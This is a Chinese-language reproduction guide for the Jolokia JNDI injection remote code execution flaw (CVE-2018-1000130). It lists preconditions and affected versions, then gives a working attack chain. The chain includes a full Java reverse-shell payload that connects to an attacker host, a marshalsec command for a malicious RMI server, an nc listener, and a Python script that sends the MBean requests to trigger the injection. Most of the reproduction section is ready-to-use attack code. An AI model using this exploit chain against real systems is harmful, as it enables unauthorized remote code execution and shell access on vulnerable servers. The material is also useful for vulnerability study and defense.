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(CVE-2018-1000130)Jolokia 远程代码执行漏洞

一、漏洞简介

Jolokia服务的代理模式默认情况下在1.5.0版之前容易受到**JNDI注入**的攻击。当以代理模式部署Jolokia代理时,有权访问Jolokia Web端点的外部攻击者可以通过JNDI注入攻击远程执行任意代码。由于Jolokia库使用用户提供的输入启动LDAP / RMI连接,因此有可能造成这种攻击。

利用条件:

  • 目标网站存在 /jolokia/actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
  • 目标可以请求攻击者的服务器(请求可出外网)
  • 实际测试 RMI 注入受目标 JDK 版本影响,jdk \< 6u141/7u131/8u121

二、漏洞影响

Jolokia \< 1.50

三、复现过程

漏洞分析

  1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
  2. 设置 connectionURL 地址为 RMI Service URL
  3. 设置 contextFactory 为 RegistryContextFactory
  4. 停止 Realm
  5. 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞

漏洞复现

步骤一:查看已存在的 MBeans

访问 /jolokia/list 接口,查看是否存在 type=MBeanFactorycreateJNDIRealm 关键词。

步骤二:准备要执行的 Java 代码

需要修改脚本里对应的反弹shell的ip和端口

/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i &lt; py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() &gt; 0) {
                    so.write(pi.read());
                }
                while(pe.available() &gt; 0) {
                    so.write(pe.read());
                }
                while(si.available() &gt; 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}
步骤三:架设恶意 rmi 服务
https://github.com/ianxtianxt/marshalsec

使用下面命令架设对应的 rmi 服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
步骤四:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

nc -lvp 上面java脚本里面自己设置的端口
步骤五:发送恶意 payload

根据实际情况修改 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。

#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt


import requests


url = 'http://127.0.0.1:8080/jolokia'


create_realm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://your-vps-ip:1389/JNDIObject"
}

stop = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
    print(r.status_code)